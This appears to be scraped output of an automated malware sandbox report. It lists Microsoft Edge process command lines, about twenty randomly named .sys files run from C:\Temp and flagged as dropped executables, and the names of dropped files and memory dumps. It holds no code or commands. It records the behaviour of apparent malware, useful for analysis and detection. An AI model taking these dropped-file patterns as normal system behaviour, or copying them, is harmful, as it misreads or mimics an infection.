C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,18363811484728529107,3967344432901846977,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=1244 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,13723821278960495023,16008551376045741106,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,13447908610575273973,15914518672218903330,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3836,i,16878240417817790334,8496686403524063863,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5092,i,551626128852183806,4661216440932424998,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=928,i,3244701850327972157,5527641003538701123,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6784,i,5705342554196844399,13483511413377167244,262144 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3864,i,6339784151654804110,13716801351002082100,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\xspkhcausmkicaxr.sysC:\Temp\xspkhcausmkicaxr.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\xrpjhecwus.sysC:\Temp\xrpjhecwus.sys1⤵
- Executes dropped EXE
-
C:\Temp\omjecwuomh.sysC:\Temp\omjecwuomh.sys1⤵
- Executes dropped EXE
-
C:\Temp\jdbztrljeb.sysC:\Temp\jdbztrljeb.sys1⤵
- Executes dropped EXE
-
C:\Temp\bywqojgbyt.sysC:\Temp\bywqojgbyt.sys1⤵
- Executes dropped EXE
-
C:\Temp\tqoigaysqo.sysC:\Temp\tqoigaysqo.sys1⤵
- Executes dropped EXE
-
C:\Temp\lfdxvsqkif.sysC:\Temp\lfdxvsqkif.sys1⤵
- Executes dropped EXE
-
C:\Temp\xnhfaxvpnh.sysC:\Temp\xnhfaxvpnh.sys1⤵
- Executes dropped EXE
-
C:\Temp\usmkfcxvpn.sysC:\Temp\usmkfcxvpn.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpnhfzxrpj.sysC:\Temp\rpnhfzxrpj.sys1⤵
- Executes dropped EXE
-
C:\Temp\pjhezxrpmk.sysC:\Temp\pjhezxrpmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\wuojhezwjh.sysC:\Temp\wuojhezwjh.sys1⤵
-
C:\Temp\wromgeywro.sysC:\Temp\wromgeywro.sys1⤵
-
C:\Temp\gdyvtolgdy.sysC:\Temp\gdyvtolgdy.sys1⤵
-
C:\Temp\gdbvtqoiga.sysC:\Temp\gdbvtqoiga.sys1⤵
-
C:\Temp\vqfaxvqkif.sysC:\Temp\vqfaxvqkif.sys1⤵
-
C:\Temp\avsnkfcaus.sysC:\Temp\avsnkfcaus.sys1⤵
-
C:\Temp\upmkecxusm.sysC:\Temp\upmkecxusm.sys1⤵
-
C:\Temp\mjhfcwuomh.sysC:\Temp\mjhfcwuomh.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
bywqojgbyt.sys
ezwurmjebt.exe
i_ezwurmjebt.exe
i_jdbztroige.exe
i_urmjecxrmk.exe
i_wqojdbytrl.exe
i_xspnkecxup.exe
jdbztrljeb.sys
jdbztroige.exe
omjecwuomh.sys
tqoigaysqo.sys
urmjecxrmk.exe
wqojdbytrl.exe
xrpjhecwus.sys
xspkhcausmkicaxr.exe
xspkhcausmkicaxr.sys
xspnkecxup.exe
settings.dat
settings.dat
LOG.old
the-real-index
the-real-index~RFe594a5d.TMP
SiteList-Enterprise.json
Edge Profile.ico
9e16512b-dc66-48cf-951a-5bf95f774520.tmp
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Preferences
Secure Preferences
OperationConfig
Local State
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
metadata.json
metadata.json
f5cc43cf-d40d-4b71-8da2-e54ea78913e0.tmp
content_new.js
CreateProcess.exe
memory/1076-555-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1360-574-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1668-526-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1920-665-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1920-679-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2020-636-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2052-670-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2052-692-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3172-628-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3904-551-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4084-559-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4112-682-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4204-615-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4388-660-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4428-433-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4628-603-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5448-594-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5812-468-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5980-66-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6012-498-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6028-656-0x0000000000010000-0x00000000000AB000-memory.dmp